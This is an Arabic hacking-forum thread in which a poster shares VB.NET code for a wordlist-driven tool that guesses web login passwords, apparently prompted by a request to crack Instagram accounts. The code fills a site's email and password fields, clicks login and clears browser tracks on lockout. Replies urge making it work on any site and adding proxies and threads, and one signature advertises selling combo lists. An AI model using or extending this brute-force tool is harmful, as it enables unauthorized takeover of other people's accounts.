Useful links : Upgrade To VIP | Advertising in IHO   |  Laws  | Contact US




الملاحظات

» قسم البرمجة العام [ الفيجوال بيسك VB.NET ، Delphi ، AutoIT,PHP,Html ]

إضافة رد
قديم 09-12-2015, 09:16 AM   #1
SilentCyber
[ عضو فعال ]
الصورة الرمزية SilentCyber
 
تاريخ التسجيل  :  Aug 2015
رقم العضوية   :  21431
الدولة :  !!#$/SC
المشاركات   :  174
بمعدل  :  0.14 يوميا
قوة السمعة  : SilentCyber is a jewel in the roughSilentCyber is a jewel in the roughSilentCyber is a jewel in the roughSilentCyber is a jewel in the rough  
حالة التواجد: SilentCyber غير متواجد حالياً

 
Arrow [VB.Net] كيفية عمل برنامج لتخمين

[VB.Net] كيفية برنامج لتخمين

اهلا بكم اعضاء المنتدي الكرام ارجو ان تكونو في كامل الصحة والعافية

اعتذر عن الغياب لظروف تتعلق بالدراسة

لقد استقبلت رسالة من احد الاعضاء عن برنامج لتخمين علي الانسجرام وللاسف انا لااعرف الكثير عن الانستجرام ولكن لقد بحثت وسوف اشع شرح عن صنع برنامج لتخمين

[VB.Net] كيفية برنامج لتخمين

بسم الله نبدء :

[VB.Net] كيفية برنامج لتخمين

الية العمل : البرنامج مثل اي برنامج لتخمين يستخدم wordlist يمكن التعديل علي موقع المراد التخمين عليه ويجب معرفة value الخاصة بي موقع التخمين (username -pass -login)

الخطوات :

1- عمل التصميم الخاص بك

2- وضع 2button | 3 textbox | listbox | labels

3- الاكواد :

كود:
Imports System.IO
Imports System.Net
Imports System.Text
كود:
 Dim gogo As Boolean = True
    Dim ta2chi As Boolean = True
    Dim stmr As IO.StreamReader
button1 :

كود:
  Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        On Error Resume Next
        If OpenFileDialog1.ShowDialog = Windows.Forms.DialogResult.OK Then
            ListBox1.Items.Clear()
            stmr = IO.File.OpenText(OpenFileDialog1.FileName)
            Dim lstring() As String = stmr.ReadToEnd.Split(vbNewLine)
            ListBox1.Items.AddRange(lstring)
            Me.ProgressBar1.Maximum = ListBox1.Items.Count
            TextBox3.Text = OpenFileDialog1.FileName

            For Value As Integer = 1 To ListBox1.Items.Count
                For Each item As String In ListBox1.Items
                    Me.ProgressBar1.Value = Value

                    Application.DoEvents()

                Next
                If Value = ListBox1.Items.Count Then

                End If
            Next
            If Me.ProgressBar1.Maximum = ListBox1.Items.Count Then

                Me.ProgressBar1.Maximum = 0
            End If
            Label3.Text = "0"
            Label2.Text = ListBox1.Items.Count & " Passwords"
        End If
    End Sub
button2 :

كود:
 Private Sub Button2_Click(ByVal sender As Object, ByVal e As EventArgs) Handles Button2.Click
        ListBox1.SelectedIndex = 0
        gogo = False
    End Sub
listbox :

كود:
 Private Sub ListBox1_SelectedIndexChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ListBox1.SelectedIndexChanged
        Label1.Text = ListBox1.SelectedItem

    End Sub
label1 :

كود:
 Private Sub Label1_TextChanged(ByVal sender As Object, ByVal e As System.EventArgs) Handles Label1.TextChanged
        Try
            WebBrowser1.Document.GetElementById("email").SetAttribute("value", TextBox1.Text)
            WebBrowser1.Document.GetElementById("pass").SetAttribute("value", Label1.Text)
            WebBrowser1.Document.GetElementById("login").InvokeMember("click")
            Try



            Catch ex As Exception

            End Try
        Catch ex As Exception

        End Try
    End Sub
webbrowser1 :

كود:
  Private Sub WebBrowser1_DocumentCompleted(ByVal sender As Object, ByVal e As System.Windows.Forms.WebBrowserDocumentCompletedEventArgs) Handles WebBrowser1.DocumentCompleted

        If gogo = False Then
            check_error()
            Try
                For Each Elementp As HtmlElement In WebBrowser1.Document.GetElementsByTagName("input")
                    If Elementp.GetAttribute("name") = "update" Then
                        TextBox2.Text = ListBox1.SelectedItem

                        ta2chi = False
                    End If
                    Application.DoEvents()
                Next
            Catch ex As Exception

            End Try
            If ta2chi = False Then
            Else
                WebBrowser1.Navigate("الموقع المراد التخمين عليه")
                Delay(2)
                ListBox1.SelectedIndex = ListBox1.SelectedIndex + 1
                Label3.Text = ListBox1.SelectedIndex
            End If
        Else
            Try
                For Each logout As HtmlElement In WebBrowser1.Document.GetElementsByTagName("a")
                    If logout.GetAttribute("data-sigil") = "logout" Then
                        logout.InvokeMember("click")
                    End If
                    Application.DoEvents()
                Next

            Catch ex As Exception
                '   MsgBox("go")
            End Try
        End If

    End Sub

كود:
 Sub check_error()
        On Error Resume Next
        For Each Text As HtmlElement In WebBrowser1.Document.GetElementsByTagName("a")
            TextBox4.Text += Text.GetAttribute("href") & vbNewLine
            Application.DoEvents()
        Next
        Dim li As Integer = TextBox4.Text.IndexOf("/help/contact/")
        If Not li = -1 Then
            System.Diagnostics.Process.Start("rundll32.exe", "InetCpl.cpl,ClearMyTracksByProcess 2")
            Delay(6)
            TextBox4.Clear()
        End If
        TextBox4.Clear()
    End Sub
لتغير الموقع المراد التخمين عليه :

[VB.Net] كيفية برنامج لتخمين

ويتم ايجاد ElementById | Value للموقع المراد التخمين عليه

[VB.Net] كيفية برنامج لتخمين

[VB.Net] كيفية برنامج لتخمين

[VB.Net] كيفية برنامج لتخمين

لتحميل السورس : اضغط هنا

باسورد فك الضغط : www.hack-ar.com

للامانة السورس معدل

في الدرس القادم سوف اضع خاصية البروكس للاخ الذي طلب مني الموضوع عذرا لضيق الوقت معي


والسلام عليكم ورحمة الله وبركاتة
في امان الله

FVB>NetD ;dtdm ulg fvkhl[ gjoldk


توقيع : SilentCyber




-لا تفتح التابوت فسيذبح الموت بجناحيه كل من يجرؤ علي ازعاجنا-

- متغيب لدراسة -

TM:SILEnTCybers

Skype : mido_ziko2012
رد مع اقتباس
قديم 09-12-2015, 09:20 AM   #2
MuSl!M HaCkEr
[ الادارة العامة ]
الصورة الرمزية MuSl!M HaCkEr
 
تاريخ التسجيل  :  Mar 2013
رقم العضوية   :  1229
الدولة :  فلسطين
المشاركات   :  4,330
بمعدل  :  2.05 يوميا
قوة السمعة  : MuSl!M HaCkEr is a splendid one to beholdMuSl!M HaCkEr is a splendid one to beholdMuSl!M HaCkEr is a splendid one to beholdMuSl!M HaCkEr is a splendid one to beholdMuSl!M HaCkEr is a splendid one to beholdMuSl!M HaCkEr is a splendid one to beholdMuSl!M HaCkEr is a splendid one to behold  
حالة التواجد: MuSl!M HaCkEr غير متواجد حالياً

 
افتراضي

ما شاء الله عليك يآ أخي ,,

مبدع مبدع يا غالي مبدع بكل ما تعنيه الكلمه ,,

يعطيك الف الف عافيه يا غالي أبدعت ,,

تم التقييم يا غالي

توقيع : MuSl!M HaCkEr




لآ إله الا الله سيدنا محمد رسول الله ,,


توكل على الله بكل شي لتنآل ما تريد ,,


MuSl!m HaCkeR

Facebook: Muslim hack
رد مع اقتباس
قديم 09-12-2015, 09:22 AM   #3
Racker Midani
.:: إن الـحــكــم إلا لله ::.
.::الله المستعان وعليه التكلان::.
الصورة الرمزية Racker Midani
 
تاريخ التسجيل  :  Oct 2012
رقم العضوية   :  354
الدولة :  في دار الفتنة
المشاركات   :  3,390
بمعدل  :  1.51 يوميا
قوة السمعة  : Racker Midani is a splendid one to beholdRacker Midani is a splendid one to beholdRacker Midani is a splendid one to beholdRacker Midani is a splendid one to beholdRacker Midani is a splendid one to beholdRacker Midani is a splendid one to beholdRacker Midani is a splendid one to beholdRacker Midani is a splendid one to behold  
حالة التواجد: Racker Midani غير متواجد حالياً

 
افتراضي

وعليكم السلام ورحمة الله وبركاته

في قمة التمييز جزاك الله خيراً

تم التقييم والتثبيت وننتظر جديدك يا ورد.

وفقك الله

توقيع : Racker Midani





اللهم انت أعلم بحالي وما صار إليه
فأسئلك ان تبعد عني كل أمر فيه هلاكي أو بعدي عنك
اللهم إني اسئلك أن تقرب لي الرزق الحلال الطيب المبارك فيه
اللهم آمين
------------------------------------------------------
الصلاة وأهميتها وحكم تاركها (تأمل)
http://www.hack-ar.com/cc/showthread.php?t=21758

تصميم وتطوير المواقع
http://www.hack-ar.com/cc/showthread.php?t=20805

رد مع اقتباس
قديم 09-12-2015, 09:24 AM   #4
SilentCyber
[ عضو فعال ]
الصورة الرمزية SilentCyber
 
تاريخ التسجيل  :  Aug 2015
رقم العضوية   :  21431
الدولة :  !!#$/SC
المشاركات   :  174
بمعدل  :  0.14 يوميا
قوة السمعة  : SilentCyber is a jewel in the roughSilentCyber is a jewel in the roughSilentCyber is a jewel in the roughSilentCyber is a jewel in the rough  
حالة التواجد: SilentCyber غير متواجد حالياً

 
افتراضي

--- يشرفني مروركم وردودكم الجميلة والسريعة ^^ ---

توقيع : SilentCyber




-لا تفتح التابوت فسيذبح الموت بجناحيه كل من يجرؤ علي ازعاجنا-

- متغيب لدراسة -

TM:SILEnTCybers

Skype : mido_ziko2012
رد مع اقتباس
قديم 09-12-2015, 09:28 AM   #5
xjava
Banned
 
تاريخ التسجيل  :  Sep 2015
رقم العضوية   :  21639
المشاركات   :  58
بمعدل  :  0.05 يوميا
قوة السمعة  : xjava will become famous soon enough  
حالة التواجد: xjava غير متواجد حالياً

 
افتراضي

شرح اجمل من رائع


طبعا للمبتدأين
كيف تجعل البرنامج يخمن على اي موقع براسك
لاتقم بتحديد الموقع ولا قيمة اليوزر ولا التكست من Value الخاص بها داخل السورس

اجعل لكل خانه تكست بنفس التصميم وياخذ القيم منها
بمعنى
تكست لوضع الرابط
تكست لخانة اليوزر واقصد بها value=name
تكست لخانة الباسورد وايضا value=password
المتغيرات تتغير من موقع لموقع

بكذا تكون سويت برنامج اجمل من رائع ويخمن على كل مواقع العالم ماعدا المواقع اللي فيها كابتشن طبعا او توكن











صاحب الموضوع الف شكر واسف عالمداخله :)

رد مع اقتباس
قديم 09-12-2015, 09:30 AM   #6
xjava
Banned
 
تاريخ التسجيل  :  Sep 2015
رقم العضوية   :  21639
المشاركات   :  58
بمعدل  :  0.05 يوميا
قوة السمعة  : xjava will become famous soon enough  
حالة التواجد: xjava غير متواجد حالياً

 
افتراضي

والتكست الاخير لتحديد قيمة الخطا *_*

رد مع اقتباس
قديم 09-12-2015, 09:31 AM   #7
Mr.Casino
[ ,شخصيه هآمه, ]
الصورة الرمزية Mr.Casino
 
تاريخ التسجيل  :  Mar 2015
رقم العضوية   :  18032
الدولة :  ~Mama Africa~
المشاركات   :  3,876
بمعدل  :  2.83 يوميا
قوة السمعة  : Mr.Casino is a splendid one to beholdMr.Casino is a splendid one to beholdMr.Casino is a splendid one to beholdMr.Casino is a splendid one to beholdMr.Casino is a splendid one to beholdMr.Casino is a splendid one to beholdMr.Casino is a splendid one to behold  
حالة التواجد: Mr.Casino غير متواجد حالياً

 
افتراضي

شرح جميل جدا
و لكن لو تزيد خاصية البروكسي و يكون البرنامج شوية كبيرة و تكون الخيارات واضحة اكثر
راح يكون جميل جدا
ننتظر درسك القادم
و بالتوفيق لنا و لك بالدراسة

توقيع : Mr.Casino




ComboList+Maillist In Pm
Cheap Prices
~ لست الوغد الوحيد في هذا العالم ,,, لكنني الأفضل ~



كومبولست 700ألف جديدة [ 28/05/2017 ] [ للزوار ]


حسابات HMA + ExpressVpnللبيع اشتراكات سنوية + 6أشهر مع Auto Renew
رد مع اقتباس
قديم 09-12-2015, 09:38 AM   #8
SilentCyber
[ عضو فعال ]
الصورة الرمزية SilentCyber
 
تاريخ التسجيل  :  Aug 2015
رقم العضوية   :  21431
الدولة :  !!#$/SC
المشاركات   :  174
بمعدل  :  0.14 يوميا
قوة السمعة  : SilentCyber is a jewel in the roughSilentCyber is a jewel in the roughSilentCyber is a jewel in the roughSilentCyber is a jewel in the rough  
حالة التواجد: SilentCyber غير متواجد حالياً

 
افتراضي

اقتباس:
المشاركة الأصلية كتبت بواسطة xjava مشاهدة المشاركة
والتكست الاخير لتحديد قيمة الخطا *_*
يشرفني مداخلتك اخي الكريم وحل captch هي البروكسي وسوف اضيف الخاصية

توقيع : SilentCyber




-لا تفتح التابوت فسيذبح الموت بجناحيه كل من يجرؤ علي ازعاجنا-

- متغيب لدراسة -

TM:SILEnTCybers

Skype : mido_ziko2012
رد مع اقتباس
قديم 09-12-2015, 09:40 AM   #9
SilentCyber
[ عضو فعال ]
الصورة الرمزية SilentCyber
 
تاريخ التسجيل  :  Aug 2015
رقم العضوية   :  21431
الدولة :  !!#$/SC
المشاركات   :  174
بمعدل  :  0.14 يوميا
قوة السمعة  : SilentCyber is a jewel in the roughSilentCyber is a jewel in the roughSilentCyber is a jewel in the roughSilentCyber is a jewel in the rough  
حالة التواجد: SilentCyber غير متواجد حالياً

 
افتراضي

اقتباس:
المشاركة الأصلية كتبت بواسطة Azedine مشاهدة المشاركة
شرح جميل جدا
و لكن لو تزيد خاصية البروكسي و يكون البرنامج شوية كبيرة و تكون الخيارات واضحة اكثر
راح يكون جميل جدا
ننتظر درسك القادم
و بالتوفيق لنا و لك بالدراسة
يشرفني مرورك اخي الكريم Azedine سوف اضيف الخاصية في اقرب وقت ممكن

توقيع : SilentCyber




-لا تفتح التابوت فسيذبح الموت بجناحيه كل من يجرؤ علي ازعاجنا-

- متغيب لدراسة -

TM:SILEnTCybers

Skype : mido_ziko2012
رد مع اقتباس
قديم 09-12-2015, 09:45 AM   #10
xjava
Banned
 
تاريخ التسجيل  :  Sep 2015
رقم العضوية   :  21639
المشاركات   :  58
بمعدل  :  0.05 يوميا
قوة السمعة  : xjava will become famous soon enough  
حالة التواجد: xjava غير متواجد حالياً

 
افتراضي

اقتباس:
المشاركة الأصلية كتبت بواسطة silentcyber مشاهدة المشاركة
يشرفني مداخلتك اخي الكريم وحل captch هي البروكسي وسوف اضيف الخاصية
ياليت والله مع البروكسي تشرح خاصية ثريد

وبكذا تجعل البرنامج متكامل

والف شكر مره اخرى

رد مع اقتباس
إضافة رد

مواقع النشر (المفضلة)
أدوات الموضوع
انواع عرض الموضوع

تعليمات المشاركة
لا تستطيع إضافة مواضيع جديدة
لا تستطيع الرد على المواضيع
لا تستطيع إرفاق ملفات
لا تستطيع تعديل مشاركاتك

BB code is متاحة
كود [IMG] متاحة
كود HTML معطلة

الانتقال السريع

المواضيع المتشابهه
الموضوع كاتب الموضوع المنتدى مشاركات آخر مشاركة
[VB.Net] عمل برنامج لتخمين + خصائص [Proxy - Element ID ] SilentCyber » قسم البرمجة العام 97 11-02-2017 11:57 AM
شرح سكربت Admin_CP_Finder لتخمين مسار لوحة تحكم الموقع Saâd Alem » المواضيع المخالفة والمكررة 0 11-24-2015 08:26 AM
قواعد بيانات جاهزة لتخمين Air-Crack GUI SilentCyber » قسم اختبار الاختراق | penetration testing 15 11-18-2015 08:56 AM
افضل مجموعة ادوات لتخمين لوحة التحكم للمواقع mr.black »قسم أدوات اختراق المواقع والسيرفرات 6 07-25-2014 07:08 AM